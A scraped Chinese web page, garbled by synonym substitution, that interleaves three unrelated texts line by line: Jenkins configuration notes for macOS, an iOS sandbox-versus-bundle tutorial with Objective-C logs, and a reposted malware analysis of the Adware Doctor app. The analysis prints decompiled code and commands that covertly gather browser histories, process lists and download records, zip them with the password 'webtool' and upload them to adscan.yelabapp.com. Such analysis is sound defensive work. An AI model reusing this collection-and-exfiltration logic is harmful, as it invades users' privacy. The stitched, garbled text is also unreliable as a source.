情形布署介绍,Store下架排行第意气风发的付费安

作者: 互联网  发布:2019-10-20

原标题:被指向中华夏族民共和国服务器提供数据,Mac App Store下架排行第生机勃勃的付费安软

Jenkins情况深切明白

    1. Jenkins相关布署文件路线
    • Jenkins专门的工作目录:/Users/Shared/Jenkins/Home

      • 品类目录:/jobs

        • 单个项目目录:/jobs/项目名称

          • 种类布局文件:/jobs/项目名称/config.xml

          • 类型编写翻译目录:/jobs/项目名称/builds

          • 类别空间引得:/jobs/项目名称/workspace

      • 插件目录:/plugins

    • Jenkins遭遇陈设文件:/Library/LaunchDaemons/org.jenkins-ci.plist

      • 配置 日志文件路线

      • 布置 Jenkins专门的职业目录

      • 布局 Jenkins运营脚本

      • 配置 Jenkins的客商归属

    • Jenkins参数配置文件:/Library/Preferences/org.jenkins-ci.plist

      • 配置 http 端口号

      • 配置 https 端口号

      • 布署 https 证书消息

      • 等等。。。。。。

    • 日志:/private/var/log/jenkins/jenkins.log

    • 运维目录:/Library/Application Support/Jenkins

      • 开发银行脚本:jenkins-runner.sh

      • 卸载脚本:Uninstall.command

    • 双重起动Jenkins

      • 网页重启格局:

      • 重启Computer方式

      • 手动重启方式:

        • sudo launchctl load /Library/LaunchDaemons/org.jenkins-ci.plist

        • sudo launchctl unload /Library/LaunchDaemons/org.jenkins-ci.plist

  • [ ] 2. Jenkins 配置 https 地址

    • 生成 https 证书

      • 1

      • 2

      • 3

    • 安排 https 证书地点

      • 将证书key保存到 /Users/Shared/Jenkins/zhengshu/server-key.pem

      • 将证书cert保存到 /Users/Shared/Jenkins/zhengshu/server-cert.pem

    • 配置 /Library/Preferences/org.jenkins-ci.plist 文件

      • 添加 httpsPort : 8443

      • 添加 httpsPrivateKey : /Users/Shared/Jenkins/zhengshu/server-key.pem

      • 添加 httpsCertificate : /Users/Shared/Jenkins/zhengshu/server-cert.pem

    • 配置 /Library/Application Support/Jenkins/jenkins-runner.sh 文件

      • 加多代码 add_to_args httpsPrivateKey

      • 丰硕代码 add_to_args httpsCertificate

  • 重启运转Jenkins

    • 重启计算机格局

    • 手动重启方式:

      • sudo launchctl unload /Library/LaunchDaemons/org.jenkins-ci.plist

      • sudo launchctl load /Library/LaunchDaemons/org.jenkins-ci.plist

1 沙盒和NSBundle的区别

前言

沙盒(NSHomeDirectory()) 是系统加载 app时,为 app 分配的蕴藏空间。如本地数据库,文件存款和储蓄;

近些日子有美媒电视发表,Mac App Store中付费安全软件中排行第后生可畏的Adware Doctor被钻探职员开掘在未经顾客同意的情状下采摘浏览历史,并将数据发送至位于中黄炎子孙民共和国的服务器,之后被Mac App Store下架。

NSBundle 是系统加载 app时,app 的可进行代码和这一个代码须求的能源文件所在的目录;

在被下架此前,Adware Doctor是后生可畏款广受客户款待的平安使用,意在珍贵顾客的浏览器免受广告软件和恶意软件勒迫。国外斟酌人士解构了本次产生的下架事件的来因去果。

上边打字与印刷出他们的地点。

Adware Doctor

瞩目:每一趟打字与印刷出的地址都以例外的

在Adware Doctor的鼓吹中,它是Mac客户抵御各样大面积广告软件威迫的“最棒应用”:

- (void)viewDidLoad {

图片 1

[super viewDidLoad];

在Mac App Store中,那款应用程序异常受应接,在最卖得快的应用程序中排名第四,因而连苹果Mac App Store网址都列出了它的音信:

NSLog(@"bundle: %p", [[NSBundle mainBundle] infoDictionary]);

图片 2

NSLog(@"home: %p", NSHomeDirectory());

在“付费实用工具”分类中,Adware Doctor排行第生机勃勃:

NSLog(@"code: %p", self);

图片 3

NSLog(@"bundle: %@", [[NSBundle mainBundle] bundlePath]);

事件解构

NSLog(@"home: %@", NSHomeDirectory());

斟酌人士动用静态深入分析(反编写翻译)和动态分析(互联网监察和控制、文件监察和控制和调节和测验)的章程对那款应用程序实行了琢磨,以下是经过和结果。

NSString *content = @"my file content";

首先,研讨人口从Mac App Store下载 Adware Doctor,确认该应用程序(与Mac App Store中的全部应用程序一样)由苹果例行签发:

NSError *error;

图片 4

BOOL isRight = NO;

运转应用程序,观察到它经过HTTPS发出各个互联网伏乞。例如,连接受adwareres.securemacos.com通过GET央浼/AdwareDoctor/master.1.5.5.js:

isRight = [content writeToFile:[[[NSBundle mainBundle] bundlePath] stringByAppendingPathComponent:@"file1.txt"]

图片 5

atomically:YES

如图所示,下载的master.1.5.5.js文件富含基本JSON配置数据:

encoding:NSUTF8StringEncoding

{

error:&error];

“disable_rate”:false,

if (!isRight) {

“disable_prescan”:false,

NSLog(@"write to bundle error: %@", error.localizedDescription);

“sk_on”:false,

}

“faq_link”:“

isRight = [content writeToFile:[NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES).firstObject stringByAppendingPathComponent:@"file1.txt"]

}

atomically:YES

单击应用程序分界面中的“Clean”按键会触发另二个到adwareres.securemacos.com的网络央浼,此次下载的是名叫config1.5.0.js的第贰个文件:

encoding:NSUTF8StringEncoding

图片 6

error:&error];

本次下载的config1.5.0.js文件满含越多JSON,最值得注意的是那款软件的数据库的链接:

if (!isRight) {

{

NSLog(@"write to home dir error: %@", error.localizedDescription);

“update”:true,

}

“version”:“201808243”,

}

“url”:“https://adwareres.securemacos.com/patten/file201808243.db”

模拟器中输出:

}

第 1 次运行:

下一场是几个看起来很平常的数据库更新进程:

2017-07-26 10:38:41.307 Harvest[2236:541410] bundle: 0x600000065380

图片 7

2017-07-26 10:38:41.307 Harvest[2236:541410] home: 0x7fd6d65043d0

商量职员查看了数据库的剧情,是加密的(符合反广告软件/反恶意软件的做法):

2017-07-26 10:38:41.307 Harvest[2236:541410] code: 0x7fd6d650d820

图片 8

2017-07-26 10:38:41.308 Harvest[2236:541410] bundle: /Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Bundle/Application/817CFB68-19FE-4D58-960F-68F72BE236B7/Harvest.app

利用调节和测量试验器捕获应用程序在内部存款和储蓄器中解密的公文,然后转储纯文本内容:

2017-07-26 10:38:41.308 Harvest[2236:541410] home: /Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Data/Application/E1D22141-A32F-468E-91D5-307BD82FA251

(lldb)

第 2 次运行:

binaryContentMatchPatten = ({

2017-07-26 10:39:13.476 Harvest[2273:544438] bundle: 0x608000261040

md5 = (

2017-07-26 10:39:13.476 Harvest[2273:544438] home: 0x7f83b470cbb0

48a96e1c00be257debc9c9c58fafaffe,

2017-07-26 10:39:13.476 Harvest[2273:544438] code: 0x7f83b450e460

f1a19b8929ec88a81a6bdce6d5ee66e6,

2017-07-26 10:39:13.477 Harvest[2273:544438] bundle: /Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Bundle/Application/05F27F47-8384-40A7-9FDF-451255E282B3/Harvest.app

3e653285b290c12d40982e6bb65928c1,

2017-07-26 10:39:13.477 Harvest[2273:544438] home: /Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Data/Application/D91EC197-590D-4538-9651-435056AB5D19

801e59290d99ecb39fd218227674646e,

真机中输出:

8d0cd4565256a781f73aa1e68e2a63de,

第 1 次运行:

e233edd82b3dffd41fc9623519ea281b,

2017-07-26 10:33:04.426597+0800 Harvest[7963:2911220] bundle: 0x17007b8c0

1db830f93667d9c38dc943595dcc2d85,

2017-07-26 10:33:04.426826+0800 Harvest[7963:2911220] home: 0x17414e650

...

2017-07-26 10:33:04.426857+0800 Harvest[7963:2911220] code: 0x14de0ed10

browserHomePagePatten = (

2017-07-26 10:33:04.426885+0800 Harvest[7963:2911220] bundle: /var/containers/Bundle/Application/0FF63C1B-80CC-4C79-9119-3EABE8D61F14/Harvest.app

{

2017-07-26 10:33:04.427091+0800 Harvest[7963:2911220] home: /var/mobile/Containers/Data/Application/EA36910B-A24D-48BD-A657-561247429851

name = "Chrome homepage: safefinder";

2017-07-26 10:33:04.446798+0800 Harvest[7963:2911220] write to bundle error: 您未有将文件“file1.txt”存款和储蓄到文件夹“丰收app”中的权限。

patten = "Chrome.*feed\.snowbitt\.com.*publisher=tingnew";

第 2 次运行:

},

2017-07-26 10:35:51.724381+0800 Harvest[7969:2912283] bundle: 0x17007c7c0

{

2017-07-26 10:35:51.724596+0800 Harvest[7969:2912283] home: 0x174150490

name = "Chrome homepage: safefinder";

2017-07-26 10:35:51.724627+0800 Harvest[7969:2912283] code: 0x145e0e4e0

patten = "Chrome.*feed\.snowbitt\.com.*publisher=TingSyn";

2017-07-26 10:35:51.724655+0800 Harvest[7969:2912283] bundle: /var/containers/Bundle/Application/36A3A0D0-B007-45B1-8672-7A9195CEDBF5/Harvest.app

},

2017-07-26 10:35:51.724857+0800 Harvest[7969:2912283] home: /var/mobile/Containers/Data/Application/BDAA6308-C671-4022-B97C-F8EFE36CE746

{

2017-07-26 10:35:51.740230+0800 Harvest[7969:2912283] write to bundle error: 您未有将文件“file1.txt”存款和储蓄到文件夹“丰收app”中的权限。

name = "Chrome homepage: safefinder";

来得 Harvest.app 的包内容:

patten = "Chrome.*searchword.*/90/";

图片 9

},

开发 NSHomeDirectory() 中的内容:

...

图片 10

filePathPatten = (

结果深入分析:

"/Applications/WebShoppers",

(1)bundle 中有个 info.plist 文件,是 app 的布署文件;沙盒的 Library / Preferences 中有个 com.god.harvest.plist 文件,它用来 UserDefault 存款和储蓄;

"/Applications/WebShoppy",

另:使用 xcode > Devices 下载 app 的 container 内容,拜会到首要便是沙盒中的内容,再增加三个 AppDataInfo.plist(正是 info.plist).

"/Applications/SoftwareUpdater",

(2)模拟器中,能够透过 writeToFile 向 沙盒 和 Bundle 中 写入文件;真机中是无法向 Bundle 中写入文件的;

"/Applications/webshoppers",

合越南语档中表明(地址:

"~/Library/Application Support/WebTools",

• A package is any directory that the Finder presents to the user as if it were a single file.

"~/Library/WebTools",

• A bundle is a directory with a standardized hierarchical structure that holds executable code and the resources used by that code.

"/Applications/WebTools",

"/Applications/WebTools.app",

"/Applications/SmartShoppy",

"/Applications/ShopTool",

"/Applications/ShoppyTool",

"/Applications/EasyShopper",

...

launchPathMatchPatten = (

"com.WebShoppers.agent.plist",

"com.WebShoppy.agent.plist",

"com.webshoppers.agent.plist",

"com.SoftwareUpdater.agent.plist",

...

whitelist = (

"~/Library/LaunchAgents/com.spotify.webhelper.plist",

"/Library/LaunchDaemons/com.intel.haxm.plist",

"/Library/LaunchDaemons/net.privatetunnel.ovpnagent.plist",

"/Library/LaunchDaemons/com.mixlr.MixlrAudioLink.plist",

"/Library/LaunchDaemons/com.mcafee.ssm.Eupdate.plist",

"/Library/LaunchDaemons/com.mcafee.ssm.ScanFactory.plist",

"/Library/LaunchDaemons/com.mcafee.ssm.ScanManager.plist",

"/Library/LaunchDaemons/com.mcafee.virusscan.fmpd.plist",

"/Library/LaunchDaemons/com.microsoft.autoupdate.helper.plist",

"/Library/LaunchAgents/com.microsoft.update.agent.plist",

"/Library/LaunchDaemons/com.crashplan.engine.plist"

...

那一个特点看起来是意气风发款反广告软件,而且哈希值确实与已知的广告软件分外:

图片 11

例如Adware.MAC.Pirrit:

图片 12

回到Adware Doctor应用分界面,它已准备好清理客商的种类:

图片 13

截止上面一步并不曾现身非常,但后边对窘迫了。

率先,在运维文件监视器(比如MacOS内置的fs_usage)和对含蓄历史记录的文本实行过滤(不区分朗朗上口写)后,一些要命的文件访谈历史显现出来:

# fs_usage -w -f filesystem | grep "Adware Doctor" | grep -i history

Adware Doctor.44148 open ~/Library/Application Support/CallHistoryTransactions

Adware Doctor.44148 open ~/Library/Application Support/CallHistoryDB

Adware Doctor.44148 RdData[A] /dev/disk1s1/Users/user/Library/Safari/History.db

Adware Doctor.44148 lstat64 /Users/user/Library/Application Support/Google/Chrome/Default/History

Adware Doctor.44148 open ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip

Adware Doctor.44148 lstat64 ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/psCommonInfo

Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/appstoreHistory

Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/safariHistory

Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/chromeHistory

Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/firefoxHistory

运转进程监视器(例如开源的ProcInfo实用程序),能够洞察到Adware Doctor使用内建zip实用程序创制受密码珍惜的history.zip存档:

# ./procInfo

process start:

pid: 2634

path: /bin/bash

args: (

"/bin/bash",

"-c",

"zip -r --quiet -P webtool "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip" "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history" > /dev/null"

)

使用互连网代理监视器(Charles Proxy)捕获Adware Doctor到adscan.yelabapp.com的接连尝试:

图片 14

通过编写制定系统的/etc/hosts文件,将此呼吁重定向到钻探人士决定的服务器,捕获到Adware Doctor尝试上传history.zip文件:

# python https.py

listening for for HTTPS requests on port:443

192.168.86.76 - - [20/Aug/2018 10:53:24] "POST /1/checkadware HTTP/1.1" 200 -

Headers:

Host: adscan.yelabapp.com

Content-Type: multipart/form-data; boundary=Boundary-E2AE6908-4FC6-4C1D-911A-0B34F844C510

Connection: keep-alive

Accept: */*

User-Agent: Adware%20Doctor/1026 CFNetwork/902.1 Darwin/17.7.0 (x86_64)

Content-Length: 15810

Accept-Language: en-us

Accept-Encoding: br, gzip, deflate

Path: /1/checkadware

Attachment: 'history.zip' (length: 15810)

待上传的“history.zip”文件受密码保养:

图片 15

重播进程监视器的出口,密码被发送到内建的zip实用程序:zip -r –quiet -P webtool …。

密码也被编码到应用程序的二进制文件中,因而反编写翻译二进制文件就能够获得密码。

输入webtool作为密码解压文件:

图片 16

翻看解压出来的开始和结果,Adware Doctor在暗地里搜罗客商的浏览器历史记录:

$ cat com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/chromeHistory

Person 1:

2018-08-20 21:19:57

2018-08-20 21:19:36

$ cat com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/safariHistory

08:29:41

1397-06-02 08:29:20

浓郁深入分析

看看这里,有多少个难题亟待解答:

它什么绕过Mac App Store的沙盒机制来拜会顾客的文书?

它怎样搜求取户的浏览器历史记录?

它还访谈了何等系统消息和个人身份音讯(PII)?

从平安和隐衷的角度来看,从官方Mac App Store安装应用程序的首要优势有两点:

程序通过苹果官方核实和签发;

次第在沙盒中运作。

当应用程序在沙箱中运维时,能够访问的文件或客户消息充足轻松,应该无法访问顾客的浏览器历史记录,但此间Adware Doctor做到了。

透过工具(WhatsYourSign)查看该应用程序的权限,包罗:com.apple.security.files.user-selected.read-write:

图片 17

那项权限意味着应用程序可以供给某个文件的权限,並且获得分明的顾客许可后,对文件举办读/写操作。Adware Doctor在率先次运营时,会呈请访问客户的主目录以致下边的有所文件和目录:

图片 18

这是由此[MainWindowController showFileAccess]办法完结的:

/ * @class MainWindowController * /

- (void)showFileAccess {

r15 = self;

var_30 = [[AppSandboxFileAccess fileAccess] retain];

r13 = [[AppSandboxFileAccess fileAccess] retain];

rbx = [[BSUtil realHomeDirectory] retain];

r14 = [r13 hasAccessPremisionPath:rbx];

...

在AppSandboxFileAccess类的有倾囊相助下:

图片 19

在调节和测量检验器(lldb)中,观看客户主目录的拜谒尝试:

Adware Doctor -[AppSandboxFileAccess hasAccessPremisionPath:]:

-> 0x10000cebf <+0>: pushq %rbp

0x10000cec0 <+1>: movq %rsp, %rbp

0x10000cec3 <+4>: pushq %r15

0x10000cec5 <+6>: pushq %r14

(lldb) po $rdi

(lldb) x/s $rsi

0x10006a147: "hasAccessPremisionPath:"

(lldb) po $rdx

/Users/user

今天,Adware Doctor能够合法访谈客户的文书和目录,举个例子扫描以搜寻恶意代码。可是,方兴未艾旦顾客点击允许,Adware Doctor将具备对具备顾客文件的全体探望权限,它选用了多种募集系统和客商音信的秘技。固然某个(比如进度列表)或然确实是用于反恶意软件或反广告软件的操作,但其余客商消息(例如客户的浏览历史记录)违反了严酷的Mac App Store准则。

募集情势在ACEAdwareCleaner类中贯彻,并取名字为collect *:

图片 20

逆向一下有个别艺术

先是是collect萨姆ple方法。此方法查询应用程序下载的数据库。看起来它用于搜索访谈样品中内定的文书:

- (void)collectSample {

...

rbx = [r15 pattenDic];

r14 = [rbx valueForKey:@“sample”];

在调节和测量试验器中跳过此代码,并检查示例键的未加密值:

(lldb)“/ Application / Adware Doctor.app”

...

po $ rax

<__ NSArrayM 0x10732b5e0>(

NAME =`whoami`; echo /Users/"$NAME"/Library/LaunchAgents/com.apple.Yahoo.plist;

它正值顾客的LaunchAgents目录中检索名叫com.apple.Yahoo.plist的文本。在寻觅引擎中寻觅“com.apple.Yahoo.plist”,跳出的音讯与Monroe币挖矿木马有关。在VirusTotal上可以找到相关文书,但看起来没难题:

图片 21

collectPSCommonInfoToFile方法。反编译相关文书后获得了字符串和详细的法门名称,揭露了目标:

/* @class ACEAdwareCleaner */

-(void)collectPSCommonInfoToFile:(void *)arg2 {

var_38 = [arg2 retain];

r14 = [[NSMutableString alloc] init];

[r14 appendString:@"===System===n"];

rbx = [[ACECommon operatingSystem] retain];

[r14 appendFormat:@"%@n"];

[rbx release];

[r14 appendString:@"===OS UpTime===n"];

rbx = [[ACECommon getSystemUpTime] retain];

[r14 appendFormat:@"%@n"];

[rbx release];

[r14 appendString:@"===Launch===n"];

rbx = [[self readLaunchFolder:@"/Library/LaunchAgents"] retain];

[r14 appendFormat:@"%@n"];

[rbx release];

rbx = [[self readLaunchFolder:@"/Library/LaunchDaemons"] retain];

[r14 appendFormat:@"%@n"];

[rbx release];

r15 = [[ACECommon realHomeDirectory] retain];

r13 = [[NSString stringWithFormat:@"%@/Library/LaunchAgents", r15] retain];

rbx = [[self readLaunchFolder:r13] retain];

[r14 appendFormat:@"%@n"];

[rbx release];

[r13 release];

[r15 release];

[r14 appendString:@"n===Applications===n"];

rbx = [[ACECommon fileStringWithPath:@"/Applications"] retain];

[r14 appendString:rbx];

[rbx release];

[r14 appendString:@"n===process===n"];

rbx = [[ACECommon collectProcessList] retain];

[r14 appendString:rbx];

[rbx release];

[r14 appendString:@"n===process2===n"];

rbx = [[ACECommon collectProcessList2] retain];

[r14 appendString:rbx];

[rbx release];

[r14 writeToFile:var_38 atomically:0x1 encoding:0x4 error:0x0];

[var_38 release];

[r14 release];

return;

}

能够手动深入分析这一个代码,但回顾地让它实践并在下意气风发行(左近函数末尾)设置断点要轻便得多:

(lldb)po $ rdx

/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support / com.yelab.Browser-Sweeper / history / psCommonInfo

请留神这一个psCommonInfo也被exfilt到adscan.yelabapp.com(在history.zip文书档案中):

$ cat psCommonInfo

===System===

Version 10.13.6 (Build 17G65)

===OS UpTime===

1hour, 10minute, 31second

===Launch===

/Library/LaunchAgents/com.vmware.launchd.vmware-tools-userd.plist

444 root wheel

...

===Applications===

/Applications/DVD Player.app(1396-07-20 02:11:55 +0000)

/Applications/Siri.app(1396-07-27 03:17:13 +0000)

/Applications/QuickTime Player.app(1396-08-19 02:31:30 +0000)

/Applications/Chess.app(1396-06-15 01:20:21 +0000)

/Applications/Photo Booth.app(1396-04-25 01:50:31 +0000)

/Applications/Adware Doctor.app(1397-03-20 09:59:27 +0000)

....

===process2===

processID processName userID userName command

1759 bash 501 user /bin/bash

1758 login 0 root /usr/bin/login

1730 silhouette 501 user /usr/libexec/silhouette

1709 mdwrite 501 user /System/Library/Frame

....

就算Adware Doctor得到了通过com.apple.security.files.user-selected.read-write权限和猛烈的客户许可来枚举客户文件,但基于沙箱设计,它依然无法列出任何正在周转的进程。

回想一下collectPSCommonInfoToFile,调用以下两种方式:

[r14 appendString:@“ n === process === n”];

rbx = [[ACECommon collectProcessList] retain];

...

[r14 appendString:@“ n === process2 === n”];

rbx = [[ACECommon collectProcessList2] retain];

办法collectProcessList尝试通过嵌入的ps命令枚举全部正在运作的经过:

(lldb) po $rdi

(lldb) po [$rdi launchPath]

/bin/sh

(lldb) po [$rdi arguments]

<__NSArrayI 0x1002851f0>(

-c,

ps -e -c -o "pid uid user args"

)

被macOS应用程序沙箱阻止(拒绝),因为枚举正在运作的进度(来自沙箱)是“隐瞒”:

/bin/sh: /bin/ps: Operation not permitted

Adware Doctor使用了collectProcessList2方法:

+(void *)collectProcessList2

{

...

rax = sub_1000519ad(&var_1068, &var_10A0,

@"processIDttt processNamettt userIDttt userNamettt commandn", rcx, r8, r9);

...

var_1070 = var_1068;

do {

...

proc_pidpath(*(int32_t *)(r14 - 0xcb), &var_1030, 0x1000);

} while (var_1088 > rax);

}

调用sub_一千519ad然后迭代该函数再次来到的有的列表,调用proc_pidpath。sub_一千519ad归来贰个进度ID列表:

000000010007df90 dd 0x00000001 ;CTL_KERN

000000010007df94 dd 0x0000000e ;KERN_PROC

000000010007df98 dd 0x00000000 ;KERN_PROC_ALL

int sub_1000519ad(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5)

{

...

rax = sysctl(0x10007df90, 0x3, 0x0, r13, 0x0, 0x0);

if ((r12 ^ rax) == 0x1){

__assert_rtn("GetBSDProcessList",

"/Users/build1/Browser-Sweeper/src/Browser Sweeper/Pods/PodACE/Engine/ACECommon.m", ...

}

rbx = malloc(0x0);

rax = sysctl(0x10007df90, 0x3, rbx, r13, 0x0, 0x0);

sysctl函数的调用加上字符串GetBSDProcessList给出了经过列表。它是苹果的GetBSDProcessList代码,可从应用程序沙箱中获得进程列表,也便是说 Adware Doctor用来绕沙箱的代码直接源于苹果。

今昔让我们看看Adware Doctor怎么样搜求客商的浏览器历史记录。使用collectBrowserHistoryAndProcess方法,调用:

collectSafariHistoryToFile

collectChromeHistoryToFile

firefoxHistory

那个点子中的每一个都含有用于提取浏览器历史记录的代码。

对于Safari来说,那将调用深入分析其History.db文件:

+(void)collectSafariHistoryToFile:(void *)arg2 {

...

if ([ACECommon appInstalledByBundleId:@"com.apple.Safari"] != 0x0) {

r15 = [[ACECommon realHomeDirectory] retain];

rbx = [[r15 stringByAppendingPathComponent:@"Library/Safari/History.db"] retain];

r14 = [[FMDatabaseQueue databaseQueueWithPath:rbx] retain];

;parse database

}

else {

r14 = [[@"Safari not installed." dataUsingEncoding:0x4] retain];

[r12 writeData:r14];

[r14 release];

[r12 closeFile];

}

}

该collectChromeHistoryToFile涉及到八个文本,但大致能够归咎为列举Chrome个人资料,然后解析Chrome历史数据。

+(void)collectChromeHistoryToFile:(void *)arg2 {

r13 = [[NSString stringWithFormat:@"Library/Application Support/Google/Chrome/%@/History"] retain];

rbx = [[rbx stringByAppendingPathComponent:r13] retain];

[r14 copyItemAtPath:rbx toPath:var_170 error:0x0];

...

rbx = [[FMDatabaseQueue databaseQueueWithPath:var_170] retain];

...

}

末尾,在分析各样配置文件的places.sqlite数据库从前,collectFirefoxHistoryToFile方法枚举任何Firefox配置文件:

+(void)collectFirefoxHistoryToFile:(void *)arg2 {

...

r12 = [[NSString stringWithFormat:@"Library/Application Support/Firefox/Profiles/%@/places.sqlite"] retain];

r15 = [[rbx stringByAppendingPathComponent:r12] retain];

r14 = [[FMDatabaseQueue databaseQueueWithPath:r15] retain];

该应用程序还会有三个名称为collectAppStoreHistoryToFile的法门,它将尝试在App Store App中拿走客户近年来的装有搜索记录:

+(void)collectAppStoreHistoryToFile:(void *)arg2 {

...

15 = [[rbx stringByAppendingPathComponent:@"Library/Containers/com.apple.appstore/Data/Library/Caches/com.apple.appstore/WebKitCache/Version 11/Blobs", 0x0, 0x0] retain];

...

r12 = [r14 initWithFormat:@"%@/Library/Application Support/%@/appStoreData", r15, rbx]

...

ar_1A0 = @[@"-c", @"grep search.itunes * | sed 's/.*(https://search.itunes.apple.com.*q=.*)" .*/1/'")]

}

在搜求完顾客数据后将富有内容都压缩到history.zip文件发送:

(lldb) po $rdi

(lldb) po [$rdi launchPath]

/bin/bash

(lldb) po [$rdi arguments]

<__NSArrayI 0x100352480>(

-c,

zip -r --quiet -P webtool "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip" "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history" > /dev/null

)

此文件以致含有软件列表的JSON blob(已下载的.dmgs或.pkgs以至从哪个地方下载),然后通过调用sendPostRequestWithSuffix方法上流传服务器(请当心API端点:checkadware) :

[var_1F0 sendPostRequestWithSuffix:@"checkadware" params:r12 file:rbx];

[

{

"content": "/Users/user/Downloads/googlechrome.dmgn1397-06-02 21:15:46 +0000n(n "https://dl.google.com/chrome/mac/stable/GGRO/googlechrome.dmg",n "https://www.google.com/chrome/"n)n5533641bc4cc7af7784565ac2386a807n"

},{

"content": "/Users/user/Downloads/charles-proxy-4.2.6.dmgn1397-06-02 20:48:18 +0000n(n "https://www.charlesproxy.com/assets/release/4.2.6/charles-proxy-4.2.6.dmg",n "https://www.charlesproxy.com/latest-release/download.do"n)nde043b43c49077bbdce75de22e2f2d54n"

},{

"content": "/Users/user/Downloads/Firefox 61.0.2.dmgn1397-06-02 21:16:08 +0000n(n "https://download-installer.cdn.mozilla.net/pub/firefox/releases/61.0.2/mac/en-US/Firefox%2061.0.2.dmg",n "https://www.mozilla.org/en-US/firefox/download/thanks/?v=a"n)n65096904bf80c4dd12eb3ba833b7db8dn"

},

...

]

--Boundary-D779386A-2A17-4264-955A-94C5FC6F5AFA

Content-Disposition: form-data; name="attachment"; filename="history.zip"

Content-Type: application/zip

...

到了这里,客商数据就发到中夏族民共和国的服务器上去了。

结语

Adware Doctor的展现违背了苹果 Mac App Store严俊的平整和计谋。例如,在“App Store准绳和指南” 的“数据搜聚和积攒”部分提出:

收集顾客或行使数据的应用程序必需保障客商的同意;

选拔必需珍视顾客的权能设置,并非总括期骗或迫使顾客同意不要求的数目访问;

将从开拓职员安顿中删除使用其应用程序偷偷发掘私人数据的开荒职员。

*参照来源:theregister,Freddy编写翻译整理,转发请评释来源 FreeBuf.COM。回来天涯论坛,查看更加多

网编:

本文由威尼斯平台登录发布于互联网,转载请注明出处:情形布署介绍,Store下架排行第意气风发的付费安

关键词:

上一篇:没有了
下一篇:没有了